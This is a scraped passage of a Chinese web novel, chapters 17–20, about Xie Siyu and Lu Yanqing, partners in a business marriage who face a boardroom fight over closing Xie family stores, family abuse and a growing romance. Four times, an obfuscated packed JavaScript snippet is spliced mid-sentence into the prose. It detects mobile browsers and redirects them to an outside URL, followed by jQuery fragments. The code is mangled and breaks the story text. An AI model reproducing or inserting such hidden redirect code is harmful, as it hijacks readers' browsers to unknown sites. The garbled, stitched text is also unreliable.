顿时气的心脏疼:“谢知瑶这都火烧眉毛了,你还搞上不得台面的小动作?谢家这几年经营状况每况愈下,还要仰仗思虞帮衬你不知道?” “大庭广众之下陆言卿是傻吗?帮着你诋毁她的妻子?” 谢思虞越是优秀,就越是衬托谢知瑶的蠢笨无能,谢明远就很后悔,早些年没对谢思虞好点,任由她被这对母女欺负。 拳头紧握,好几次想打醒小女儿,终究还是忍住了,咬着牙叮嘱:“上楼换衣服,跟我去陆氏道歉!” 道歉,又是道歉。 谢知瑶眼眶通红,昨晚她就道歉了,是谢思虞不识好歹。 如今父亲又让她去陆氏,就很委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278676|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 执拗地站在原地没动。 周静见丈夫情绪在崩溃的边缘,上前拍了拍女儿的肩膀,安抚:“听你爸的话,先把眼前的问题解决再说。” 瞥见丈夫放在餐桌上的手机,目光最终落在撤店通知函的集团公章上。 落款处龙飞凤舞的‘谢思虞’三个字,像三把淬毒的银簪,直插进谢家的命门。 - 上午9点。 陆氏集团32楼,总裁办。 谢思虞坐在办公桌前,电脑屏幕上是「云裳」在商场改造期间迁移到二楼儿童游乐园旁的相关资料,她目光是落在电脑上,可一个字也没有看进去。 脑海中浮现的是昨晚在车内醒来的画面。 睁开眼睛发现自己枕着陆言卿的肩膀,她们的头发暧昧交缠在一起,车内光线昏暗,只有不远处路灯透进来些许亮光。 轻点手机屏幕,时间是凌晨1点。 陆言卿靠着座椅靠背也睡着了,哪怕宾利车后排空间足够宽敞,可坐着睡觉依然难受。 谢思虞坐直身体,左手轻轻托着陆言卿的侧脸,让她不至于突然惊醒。 眉眼低垂,注意到陆言卿右手无名指空空如也,恍然片刻才想起,之前帮她处理后腰的淤青,她把婚戒摘下了。 拿起中央储物盒的婚戒,小心翼翼把婚戒推进陆言卿的指根,眼神眷念又温柔:“答应我,别再把婚戒摘下来了,嗯?” 大概只有这种时候,谢思虞才敢“明目张胆”勾勒描绘心上人的五官,近乎贪婪的目光落在陆言卿的脸庞。 指尖撩开一缕惊扰她的发丝,最后视线停留在她微微张开的唇瓣上。 就一次。 谢思虞闭上眼睛,睫羽颤抖的厉害,一寸寸逼近,直到一个轻如薄羽的吻落在陆言卿唇角。 一触即发,片刻不敢停留。 尽管她很想让时光停驻在此刻,还是舍不得陆言卿一整晚都睡在车里,捏了捏陆言卿的指尖:“卿卿醒醒?我们回家睡。” 是啊,回家。 我们一起回家。 17. 第17章 “你父亲带着谢知瑶到了集团楼下,如果你不想见就我来处理。” 陆言卿轻叩总裁办的门,等了片刻没听到里面传来回应,便自己推门而入。 走到办公桌前将刚煮好的茉莉花茶放在谢思虞右手边,怕她翻阅文件碰倒玻璃杯,想了想又把杯子移远些。 “看什么呢?” 陆言卿见谢思虞还是没反应,只好绕过办公桌来到她身旁,扫了眼电脑屏幕上的内容。 昨晚在宴会厅杨姗表示今天下午会来集团签订合同。 淡淡的山茶花香笼罩过来,谢思虞猛然回神,抬眸撞进陆言卿温柔的目光里,或许是心虚,握鼠标的手太过用力,直接选中一大片文字。 “抱歉,你……刚说什么?” 陆言卿已经知道谢思虞在走神,看到她这幅‘慌神’的模样,没忍住轻笑出声,当然不是嘲笑,就是感觉新奇。 原来一向温柔内敛,淡定从容的她也有可爱的一面。 神差鬼使想看看谢思虞害羞脸红的模样,陆言卿一手扶着座椅靠背,另一只手撑着办公桌面,慢慢弯腰俯身靠近。 两人距离一点点缩短。 “怎,怎么了?” 陆言卿突然逼近,谢思虞下意识往后退,可她坐在办公椅上,根本无路可退。 呼吸间山茶花香变得浓郁,她的心也开始砰砰乱蹦起来。 哪怕屏住呼吸,也怕被陆言卿听到她紊乱的心跳。 陆言卿目光一瞬不瞬盯着谢思虞,没等她看到这人害羞脸红的样子,她自己反倒不自在起来。 主要是谢思虞太漂亮了。 枣栗色微卷的长发披在肩头,肤如凝脂,五官明艳,精致漂亮宛若最厉害工匠雕琢出来的一般,尤其是那双眼睛,盈盈秋水,明澈温柔。 唇瓣是淡淡的樱粉色,但不确定是不是唇釉的颜色。 “唇釉颜色很好看。” 陆言卿直起身体,随便找了个理由。 气氛还是有些尴尬,想起来正事,“谢总带着女儿应该到32楼了。” 果不其然,她话音刚落,总裁办的门就被叩响。 掌心轻轻落在谢思虞肩头,扭头看向紧闭的大门,重复之前说过的话:“要是不想见就交给我来处理。” 正好今天二叔和刘董在。 谢思虞明白陆言卿的用意,冲她弯了弯眉:“总要见面的。” 而且她不想谢家的人来恶心陆言卿。 「陆总,刘董和陆董也到了。」 陆言卿扫过锁屏上的内容,眼底露出淡淡的嘲讽:“想不想看狗咬狗?” 谢思虞不知道陆言卿另有安排,甚至都没有询问相关细节,关掉电脑里的合同资料,就跟着她往办公室外走。 十分钟后,31楼会议室。 谢明远和谢知瑶对面是陆弘毅和刘董事,椭圆形会议桌正前方是陆言卿,谢思虞在她右手边坐着。 “正好今天二叔和刘董因为Elis撤不撤店的事找我,眼下正好Elis的董事长和千金都在,咱们可以慢慢聊。” 陆言卿向后仰进真皮座椅,一边说话一边漫不经心按动签字笔上方的按钮。 刘董事没忘记今天来集团的目的,不等陆弘毅发话,他率先站了起来,把谢氏旗下服装品牌Elis这三年经营数据摔在桌上。 开口就是一副公事公办的嘴脸:“双栖云境在国内有27家商场,其中Elis在15家商场有门店,去年一年的客诉率高达20%。最关键的是,Elis有三分之一的门店达不到合同上的营业额。” “这一个多月来,谢总一直拖着不解决,当真秉公处理了吗?” 刘董事看不惯谢思虞雷厉风行的手段,总是说最温柔的话,办最狠的事情。 两年前要不是陆弘毅力保他,怕是连董事的位置都要被谢思虞搞掉。 “刘董,你最好考虑清楚再说话。” Elis目前的状况,谢明远不看数据都知道,今天早早过来就是想私下解决,可如今看陆言卿的态度,她明显是要把事情闹大。 而他的女儿谢思虞,从进入会议室坐下后,就一直低垂着头,避免和他有眼神交流。 放在办公桌下的手攥成拳头。 这丫头片子真的是翅膀硬了,想要脱离谢家,摆脱他,还是因为陆言卿回国, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278677|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不好再插手此事。 最好,是后面一种情况。 否则…… “哦?谢董几个意思?难不成说这些数据是我们故意造假的?” 陆弘毅端起一旁的陶瓷杯,抿了口里面的铁观音,看向谢明远的眼神犀利且冰冷。 谢明远张了张嘴,说不出一个反驳的字眼。 谢知瑶第一次身处这样激烈紧张的局面,裙摆下的双腿控制不住的打颤,别说往日的嚣张嘴脸,她没被吓哭就是好的了。 关掉三分之一的门店,Elis的境况只会更糟。 谢明远深呼吸迫使自己冷静,开始打感情牌:“陆总,当年你和思虞结婚,我们两家可是说好要长期合作的。” 笔杆在陆言卿无名指婚戒上叩出规律的轻响,深邃眼眸里没什么情感波动,开口嗓音清冷:“确实,陆家和谢家签订了长期合作意向书,可是谢董,Elis入驻双栖云境,租金更低,门店也在一楼客流量大的地方。” “你们的营业额却比不上其他租户,听思虞说,谢董还欠了半年的租金没给?” 陆言卿言简意赅,直击要害,谢明远额头渗出细密的汗水,因为他们说的都是事实,他才会慌。 这一刻,不由将希望寄托在谢思虞身上:“思虞,难不成你真的忍心……” “谢董,你是不是忘记了陆氏集团真正当家作主的人是谁?” 陆弘毅厉声打断谢明远的话,Elis撤店的事绝对不能再拖,他看向一脸笑盈盈的陆言卿,“侄女,你才是陆氏名正言顺的掌权人!” 陆言卿目光落在谢思虞身上,似乎也有点为难,佯装不得已:“抱歉思虞,我不得不考虑集团的利益。” 会议室陷入死寂中。 谢思虞的珍珠耳坠轻轻晃了晃,抬起头时,眼尾猩红一片,嗓音微涩:“该道歉的人是我。” 明知道谢思虞在演戏,可看到她眼中氤氲的雾气,陆言卿呼吸停滞了片刻,竟有一丝心疼。 好半晌才下达命令。 原本她想的是先撤Elis两家门店,结果在二叔和刘董的推波助澜下,最后将其不达标的门店全部撤掉了。 18. 第18章 陆弘毅和刘董事离开会议室走路都带风,陆言卿本想留下来,因为谢明远那气急攻心的模样好似好吃人。 偏偏这时办公桌上手机震动声响起,是谢思虞发来的。 「谢谢,接下来的事交给我就好。」 「中午想吃云膳坊的蟹黄包。(^_^)」 拿起手机的瞬间,人脸识别,屏幕自动解锁,看到谢思虞发的内容,尤其最后还有个可爱的表情,陆言卿眼眸里闪过淡淡的笑意。 回了个好字,便拿着笔记本和签字笔起身,脚步刚迈出去,还是有点不放心,温言开口:“我在门口等你。” 会议室大门关上,气氛依然凝重。 没有外人在场,谢知瑶似乎找回了底气,拍桌而起:“谢思虞!昨晚你不是很能说吗?今天怎么就变成哑巴了,撤掉Elis5家门店啊,公司如今的境遇只会雪上加霜——” 谢明远松了松卡脖子的领带,常年应酬泛红的脸此刻透着猪肝色,但他年过六旬,商场上什么妖魔鬼怪没见过,还保留一丝理智,沉声问:“陆言卿回来,陆氏其他董事是不是逼你交出总裁的位置?” 刚才陆宏毅和刘国名的态度无不说明了一切,要是谢思虞卸下总裁一职,谢氏的将来……堪忧。 谢思虞这次没有再躲避,直面对上谢明远耐人寻味的目光,把陆宏毅等人的心思都添油加醋说了一遍。 眉头紧蹙,十分为难:“爸,您也知道我只是暂代总裁一职,这个位置原本就属于陆言卿,她要收回去,我还能说半个不字?” 谢知瑶哪里明白那么多弯弯绕绕,眼下就觉得谢思虞胳膊肘往外,见死不救:“爸,你看她什么态度,没准就是故意的。” “闭嘴!” 谢明远严声打断小女儿的挑唆,事到如今是找到破局的办法,而不是窝里斗,“这三年你在陆氏披荆斩棘,她陆言卿总要给你留几分薄面。” 谢思虞无视谢知瑶的冷眼,眼睑微垂,旋开钢笔,笔尖在撤店文件划出无意识的波浪线。 “爸还是将重心放在下月的展会上,我会为Elis争取最好的位置。” 陆氏终究不姓谢。 谢明远也明白谢思虞的力不从心,这三年她坐在这个位置,为谢氏争取了不少利益。 紧攥着陆言卿签过字的撤店文件,眼中流露出算计来:“你和陆言卿一天没离婚,在陆氏就还有话语权,今晚带她回老宅吃饭。” “算时间你们结婚快三年了,她还从未到家里吃过饭,礼节上都说不过去。” 谢思虞指尖抚过陶瓷杯边缘,没答应也没有拒绝:“稍后我问问她的时间。” “你倒是会做好人!” 谢知瑶见父亲离开,抓起座位上的包包小跑跟上,路过谢思虞身边,粉底遮不住脸上扭曲的表情,“装什么,当初明明是你求着要嫁给陆……” 啪—— 早上谢明远那巴掌没能落到谢知瑶脸上,这一刻也给补上了,谢明远又听到小女儿在胡言乱语,这里可是陆氏集团,会议室还有监控! “蠢货,别再出言挑衅你姐姐。” 谢知瑶眼泪当场就落了下来,是痛,也是羞愧,死死捂着脸颊,瞳孔里满是愕然和惧怕。 爸爸竟然当着谢思虞的面打她? 羞愤交加推开谢明远,大步流星跑出会议室。 留下谢明远尴尬又难堪:“你妹妹不懂事,你别跟她计较,Elis今后还要多仰仗你。” 谢思虞背对着谢明远坐着,没回头看这场闹剧,低低地‘嗯’了声。 深邃眼眸里目光森冷入骨。 再忍一忍,现在还不是时机,况且妈妈的遗物还在谢明远手里。 “你没事……吧?” 陆言卿在会议室外的走廊打电话订餐,通话刚结束就见谢知瑶捂着脸跑出来,担心谢思虞被欺负,也顾不上教养不教养,擅自推门而入。 动作太快,险些撞到会议室内要离开的谢明远。 “陆总,那我先走了,你们聊。” 谢明远讪讪地摸了摸鼻子退出去,Elis撤5家门店,他原本该愤怒,然事已至此没有回旋的余地。 至少他确定了另外一件事,陆言卿对思虞的态度,并非没有感情。 如此一来,谢氏就还有救。 可惜谢明远哪里知道,根本不是陆言卿不给谢氏活路,而是谢思虞存心要搞垮谢家。 谢思虞闻声回头,没有错过陆言卿眼底一闪而过的担忧,顿时一阵暖流涌上心头,温温柔柔开口:“没事,谢明远当着我的面动手,无非是变相的警告。” 半句没提晚上回谢家老宅吃饭的事。 家家有本难念的经,陆言卿和亲生母亲之间还存在隔阂,更别提二婚又生女的谢父,看他行事作风,还有这些年周静母女对谢思虞的态度,就知道谢父有多偏心。 “今后有为难的事,交给我来处理。” 她不是谢家人,不需要看谢明远的脸色,陆言卿走到谢思虞身旁。 余光扫过桌上已经签字的撤店文件,半开玩笑道:“话说回来,撤店能如此顺利,二叔和刘董事功不可没。” - 晚上8点BlueNote。 陆言卿独自坐在卡座里剥橘子,下午谢思虞有事提前两个小时就离开了集团,至于她下班为什么不回家,反而来了清吧,是因为钟晚意连续打了四五个电话轰-炸。 “来这里不喝酒你吃橘子?” 钟晚意和今晚寿星碰了两杯,回头见陆言卿一个人坐在阴影处,旁边有小姐妹想要上前搭讪,然看到她无名指上的婚戒便望而却步。 陆言卿声音懒懒的:“无聊。” 早知道就回公寓了。 也不知道谢思虞干嘛去了,微信都不回。 似乎看出陆言卿心不在焉,钟晚意端了杯鸡尾酒塞她手里:“别露出这幅表情,这屋里就你结婚了。” 她还是单身狗呢。 不过想到陆言卿和谢思虞是商业联姻,她们之间没啥感情,又难免好奇,“你跟我说句实话,打算如何处理和谢思虞的关系?你们会离婚吗?” 陆言卿把酒杯放回茶几上,慢条斯理剥干净橘瓣上的橘络,往嘴里塞了一瓣,静默不语,好像真的在认真考虑。 “说话啊,别神神秘秘的,连我都不能说?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278678|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>钟晚意胳膊肘碰了下陆言卿的手臂,心里跟猫爪子饶似的。 陆言卿无奈:“不是要瞒你。” 想到那晚她和谢思虞在公寓的对话,斟酌半晌才继续,“谢思虞暗恋的姑娘结婚了,她亲口说的。” 钟晚意有点懵:“所以?” 陆言卿卷翘的睫羽轻颤,这次她没吃橘子,而是喝了一整杯鸡尾酒,冰冷的液体抵达胃部,第一次觉得难受。 明明钟晚意点的是她往日最喜欢的那款。 莫名烦躁:“你别问了。” 她自己都搞不清楚谢思虞的意思,要如何说? 钟晚意无语。 被她仍在沙发角落的手机一直叮咚响,拿起来一眼,好家伙,姐妹群消息有68条。 【重磅消息,苏蔓正在拍摄的仙侠剧《神殒九霄》被编剧删减了大量戏份,她还被剧组导演和男演员欺负,有图有视频。】 「图片」 「图片」 「视频文件」 【不是吧,她都是影后了,还被新人抢了角色?说出来都要被笑死。】 【星海娱乐邹总是苏蔓女友没错吧?这些年邹总不是一直捧她?莫非她们真的分手了?】 【看视频里苏蔓好惨啊,手都冻紫了。】 【短短三年就成为娱乐圈一线顶流艺人,苏蔓交往的这位邹总也不知道往她身上砸了多少钱。】 【只能说娱乐圈水深……】 钟晚意点开视频看了,视频里苏蔓拍摄落水的戏,还能看到水面漂浮的冰块,哪怕她粉的爱豆不是她,也有点看不下去。 “我记得当年你还让我调查过星海娱乐,要不是半年前见过星海幕后的老板,我都要以为是你的杰作。” 陆言卿听的云里雾里:“什么?” “就苏蔓签约的经纪公司呀。” 苏蔓能在三年内成为顶流,全靠星海那位邹总砸钱捧,钟晚意不开心地抿了抿唇,她们家薇薇就没有那么好的命。 陆言卿扫过钟晚意的手机屏幕,微信群里大家还在讨论,不断出现的内容让她眉头轻蹙,认真提醒:“别胡说,我跟她早就结束了。” 当初她和苏蔓交往,吵架最厉害一次好像是因为苏蔓想要试镜一部戏。 刚好她认识该剧的制片人,最后因为工作繁忙,导致苏蔓没能试镜,也失去了那个她喜爱的角色。 后来为了弥补,她决定收购一家娱乐公司,偏偏就在签约前几天,她在商城目睹了苏蔓劈腿的画面。 收购案最后不了了之。 “行,我不说。” 钟晚意退出微信,双腿交叠,单手托着下巴,看远处玩游戏的几人。 等她再往身侧看,陆言卿嘴角挂着轻浅的弧度,谁给她发的消息? 笑的这般刺眼。 「朋友说在BlueNote看到你,要结束了吗?」 「我在门口,等你一起回家。」 聊天页面顶部备注:谢小姐。 钟晚意张了张嘴巴,然不等她说话,某人就站起身来:“谢思虞来接我,先回了。” “……” 有老婆接了不起啊。 19. 第19章 车载香氛的橙花尾调里混入极淡的碘伏气息,陆言卿扶着皮质座椅的手顿了顿。 顶灯暖黄的光晕中,谢思虞右手虎口处的创可贴边缘微微翘起,露出半道暗红血痕,不由蹙眉:“你下午去哪里了?手怎么回事?” 谢思虞低垂的眸光微闪,没第一时间回答,而是递给陆言卿一块点心:“直接从公司来清吧的?” 陆言卿坐着没动,目光一瞬不瞬落在谢思虞挂着温和笑容的脸上:“谢总不要转移话题。” 谢思虞拆点心盒子的动作滞了半拍,无奈解释:“不是要瞒你,下午我去了华康医院,在门诊二楼走廊上碰到撒泼不打针的小朋友,他摔碎的玻璃杯碎片不小心划伤了手指。” 她将谎言裹进糖霜,像过往三年在谢明远面前承诺会帮谢氏上市时那样娴熟。 事实是傍晚她独自回谢家老宅,谢明远没看到陆言卿同行十分不高兴。 原本她找借口糊弄过去了,没想到被谢知瑶当场拆穿,照片里陆言卿和钟晚意坐在清吧卡座,正低头说着什么。 她阳奉阴违的行为触怒了谢明远,他拿起陶瓷茶杯砸在她脚边,手指没能幸免被划伤罢了。 陆言卿接过点心,舀起一勺奶油,金属勺柄映出两人的身影:“是胃又难受了?” “不是,有些失眠,余医生建议每周一次针灸。” 谢思虞静默片刻才坦言,因为每周都需要去一次医院,时间长也不可能瞒得住。 果然。 她没猜错。 昨晚谢思虞能在车里睡着,就是因为失眠长时间睡眠不足导致。 陆言卿呼吸有点沉,奶油在舌尖化开的瞬间她觉得有点苦涩。 忽然想起回来第一天见到谢思虞,她眼下有淡淡的黛青。 “下次我陪你去。” 陆言卿忽然开口,谢思虞一时没明白,含着温柔笑意的眼眸里闪过一抹茫然:“什么?” 陆言卿偏头看向谢思虞,一字一句顿道:“下次针灸,我陪你去医院。” 谢思虞愕然,反应过来有些慌乱,垂眸避开陆言卿炙热的目光,握方向盘的手倏地收紧。 呼吸有点乱。 后视镜挂着的平安符,那是去年陆言卿生日她陪同陆奶奶去寺庙求来的,金线绣的‘安’字正在夜色里流淌微光。 “怕我针灸时逃跑?” 她试图用玩笑掩饰悸动。 宾利车左侧空的停车位突然进来一辆车,汽车引擎声恰到好处地遮盖了过快的心跳。 陆言卿抽了张湿巾擦拭嘴角,薰衣草香型恰是谢思虞梳妆台上那款,她岂会没听出谢思虞说的是玩笑话,但她却很认真:“关于你失眠的情况,我要亲自询问那位余医生。” “因为我发现但凡跟你身体有关的事,你都不是很在意,且总是避重就轻糊弄我。” 谢思虞心口一窒,短而促地呼吸了两下。 清吧招牌上霓虹灯光从车窗倾泻而入,仪表盘上时间跳动的数字,还有陆言卿身上若有若无的雪松香,这些具象的数据此刻都在佐证——她正在被某人温柔地对待。 一时眼眶发涩,在眼泪漫上来那刻,谢思虞将车窗玻璃降下,一边启动引擎一边说:“正好今晚有时间,西郊店距离这里也近,带你过去看看。” - 榕城双栖云境西郊店。 双子塔楼顶部有长廊连接,其中绿植就有三十多种。空中‘森林’能成为榕城网红打卡点,吸引无数游客,也算名副其实。 “谢总,陆总。” 负责商场夜间巡逻的安保组长将整栋楼的门禁卡交给谢思虞,目光在陆言卿身上多停留了几秒。 他是两年前商场开业才入职,按理说平时也见不到集团总裁,更别说出国三年的陆言卿。 之所以有谢思虞的私人联系方式,也是因为这两年她多次夜间到访西郊店。 “辛苦,我们大概待半个小时。” 谢思虞拿了门禁卡,眼神示意陆言卿跟上。 安保组长目送两人进入商场大门,不由抬头看向双子塔顶楼,就很纳闷儿:“这顶楼是有什么特别之处吗?” 值得谢思虞来了一次又一次。 他当然不知道,空中‘森林’的图纸是三年前陆言卿带领设计部小组成员绘制,呕心沥血两个月才敲定的最终版本。 这里是谢思虞为数不多能寄托思念的地方。 双子塔在顶楼12层。 晚上十点后,商场部分公共区域的中央空调会自动关掉,电梯运行过程中有凉风袭来,陆言卿注意到谢思虞穿着短款西装,脱下羊绒大衣披在她肩上:“针灸后不能受凉。” 羊绒大衣包裹住身体,谢思虞还能感受到上面有陆言卿的体温,侧过头见她只剩一件羊绒毛衣,当即就要把衣服脱下来:“不行,这样你会感冒。” 陆言卿摁住谢思虞要脱衣服的手,严肃且认真反驳:“听话,我可不想大半夜送你去医院。” 掌心里属于谢思虞的指尖很是柔软,她不着痕迹松开,补充了一句,“今晚我喝酒了,不能开车。” 叮的一声。 电梯抵达12楼。 陆言卿率先走了出去,谢思虞抿着唇跟在她身后,攥着羊绒大衣的衣领,隐约还能闻到上面清冽的雪松香。 见某人坚持,只好低头给安保组长发简讯:将顶楼的中央空调打开。 通风口的铝合金百叶微微震颤。 陆言卿指尖抚过螺旋状导流板——这是她和设计部总监熬夜三天选定的模型。 谢思虞走在水磨石台阶上,轻微的声响激活了长廊的智能照明。 暖黄光束次第亮起,将陆言卿当年在图纸边缘手绘的图案投射在玻璃幕墙上。 陆言卿驻足,看着自己参与设计的长廊,内心感叹万千。 “小心水渍。” 提醒迟了半拍。 谢思虞不小心踩到台面上的水渍,脚下一滑,身体本能往后仰,陆言卿上前两步环住那片温热。 羊绒大衣下的腰线很是单薄,谢思虞后颈针灸贴的薄荷气息混着橙花香水涌来,令她有片刻的恍惚。 中控系统突然发出嗡鸣声,空调出风口出现暖风。 谢思虞的手机在震动,安保组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278679|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的回复亮起在锁屏界面。 两人交叠的侧影映在落地玻璃窗上。 陆言卿突然想起当年在民政局,谢思虞因为工作人员起哄,抱上她腰时耳朵泛起的绯色。 “这里跟我想象中一样美,谢思虞,谢谢你。” 陆言卿回过神来率先松手,往后退了一步,指腹还残留着谢思虞手腕的细腻触感。 虽然有详细的图纸,可要施工团队1:1还原,难度可想而知。 谢思虞退出陆言卿怀抱,心跳还有点快,看向落地窗外,榕城半数风景尽收眼底,她再次裹紧身上的大衣,很轻很轻的说:“不想你回来后失望。” 是啊,哪怕陆言卿失去联系,她依然相信她会回来。 所以,只要和她有关的事情,她都竭尽全力做到最好。 为的,就是不让她失望。 - 两人回到江海澜苑,已经是深夜11点。 电梯间出来,陆言卿包里手机一直叮咚响,解锁后看到钟晚意一股脑儿给她发了5个表情包,却只有一则有效内容。 「我去,你真的撤了Elis5家门店!谢思虞没跟你闹?还来BlueNote接你回家,你们两个在玩什么鬼鬼祟祟的游戏?」 陆言卿后背抵着冰凉的金属门框,低头打字:「好好说话。」 那头钟晚意显然正捧着手机,消息回的也快。 「好吧,事情是这样的,你刚离开不久,大概十五分钟吧,谢知瑶就来了bluenote。她跟她朋友喝了不少酒,然后开始一个劲儿的倒苦水。」 「好像是谢思虞没带你回谢家吃饭,他爸大发雷霆,摔东西不说晚饭也没吃成。最后牵连她也被一顿骂,现在还在吧台哭的梨花带雨,好不委屈。」 「谢思虞没告诉你今晚回谢家吃饭?」 「应该没有,不然你也不会来清吧了,哈哈哈哈哈……」 聊天页面钟晚意自问自答,陆言卿锁了屏幕不再搭理。 感应灯忽然暗下,玄关处传来拖鞋轻叩地砖的响动。 “先进屋,外面冷。” 谢思虞扶着门框探身,暖黄光晕从她肩头漫出来,温柔的声音传来。 陆言卿进屋顺便将门带上,突然扣住谢思虞手腕,阴阳怪气问:“下午离开医院去哪里了?伤……真的是小朋友打碎玻璃弄的?” 她也不是生气,就是很无奈,屈起手指弹谢思虞的额头,力道轻的像拂去蒲公英绒球一般,耐人寻味的嗓音响起:“谢总,说谎的人鼻子会变长!” 谢思虞睫毛颤了颤:“你知道了?对不起,我只是不想让你去……” “不想让我应付他们的无理要求?谢思虞,既然你不想离婚,那在协约期内你就是我的妻子,帮你解决麻烦,也是我的责任,知道吗?” 陆言卿打断谢思虞,眼神温柔且坚定。 “嗯。” 谢思虞眼中带着明媚温柔的笑意,却又好似蒙着一层薄薄的雾气,让人看不清。 这一刻,她很庆幸是她的妻子。 也格外无助,因为她只是她商业联姻的妻子。 20. 第20章 牛奶燕麦红枣粥,陆言卿看了五六遍视频,总算有了动手煮的念头,台面上手机视频暂停在第三步,她用纸巾吸干红枣片表面的水珠。 “低温档。” 默念着美食博主强调的要诀,陆言卿将电磁炉调至到最小火候,紧接着将牛奶,燕麦红枣片依次放进锅内,不一会儿锅里的牛奶泛起涟漪,而燕麦片沉浮在锅底。 为了防止粘锅,她不断轻缓地搅拌。 “你在煮牛奶?” 谢思虞洗漱过后从浴室出来,主卧的房门虚掩着,她闻到一股淡淡的奶香味,犹豫片刻往屋外走,发梢的水珠坠在锁骨窝。 半开式厨房里,陆言卿还穿着杏色羊绒毛衣,之前披散的长发被她用橡皮筋扎起来了,露出的后颈白皙如瓷。 围裙系带在腰后打了个笨拙的蝴蝶结,只见她一手扶着小锅手柄,另一只手拿着汤勺搅拌。 “嗯,燕麦牛奶粥。” 汤勺擦过锅壁,陶瓷与金属碰撞出清响,陆言卿沾水的指尖轻点屏幕,确定时间过去十五分钟,这才将电磁炉关掉。 似乎煮的有点多了。 盛了大半碗锅里还剩了点,这时谢思虞拿着另一个空碗放在了她面前。 注意到陆言卿左手小指沾着燕麦碎屑,是搅拌时太过专注的证明。 “小心烫。” 陆言卿用隔热垫推过粥碗,指节无意识摩挲着被蒸汽熏红的虎口。 她被钟晚意叫去BlueNote,好歹吃了一份海鲜意面,后来在车上又被谢思虞投喂点心,而某人自己回谢家老宅,恐怕连饭都没顾上吃。 餐厅。 陆言卿把大半碗燕麦红枣牛奶粥放到谢思虞面前,她原本不想吃的,怕谢思虞不好意思,于是也在餐桌前坐了下来。 吃那份少的。 “我没放糖,应该不是很甜,深夜喝燕麦牛奶粥谢总也别怕胖,你再长10斤也在标准范围内。” 谢思虞没忍住笑出声来,原来是特意为她煮的,低垂的睫羽颤了颤。 “运气还不错,第一次煮没翻车。” 陆言卿也有点忐忑,尝了尝燕麦粥,没有视频评论下方所说的糊味,虽然不算好吃,但也不至于难以下咽。 餐厅吊灯在粥面洒下碎金,谢思虞舀起半勺吹了吹,等温度冷却下来才入口:“味道很好。” 陆言卿低头搅动自己那碗,腕表不小心碰响碗沿:“今后一日三餐要记得吃,别糟践自己身体,你不在意……” 她顿了顿,把‘我在意’三个字咽回去,换成了,“有人在意。” 窗纱被夜风掀起又落下,谢思虞的汤匙忽然停在碗底。 饱满的燕麦粒嵌着剔净枣核的红枣肉,在暖光下泛着琥珀色光泽。 胃里暖暖的,心也是。 - 接下来一个礼拜。 双栖云境西郊店商场一楼黄金入口的非遗茶文化廊开始施工,答应「云裳」老板娘的暗线补偿也逐步落实。 亲子茶艺课相关传单设计部交上来的两版图纸,谢思虞都不是很满意。 如今距离下班时间还有两个小时,她让刘瑶通知设计部,五分钟后到31楼开会。 “怎么愁眉不展的?” 谢思虞拿着手机和文件夹从总裁办出来,见陆言卿倚着茶水间的门,面露难色,好像遇到了天大的麻烦。 陆言卿端起玻璃杯,小抿了口杯里橘香味浓郁的果茶,抬眸慢悠悠看向谢思虞,还有心思开玩笑:“有一个好消息,一个坏消息,你想先听哪个?” 谢思虞愣了下,唇角勾起轻浅的弧度,十分配合:“那先听好消息。” 陆言卿娓娓道来:“李伯刚打电话来,爷爷最近身体恢复的不错,询问过主治医师,说可以出院回家休养。” 谢思虞点点头,继续问:“那坏消息是?” 陆言卿顿时拧紧了眉头:“今晚回老宅吃饭,二叔二婶他们也会出席。” 她那位二叔是司马昭之心,人尽皆知。 而二婶呢,只能说一言难尽。 大概猜到陆言卿苦恼的原因,谢思虞轻轻拍了拍她的肩膀:“晚上多备点礼物,我先去楼下开会。” 二婶陈雅家境清寒,当初能嫁给二叔陆弘毅也是阴差阳错。她文凭不高,喜欢显摆,但心肠不坏,就是嘴巴比较碎。 这三年她每每出席陆家家宴,回家都要洗洗耳朵。 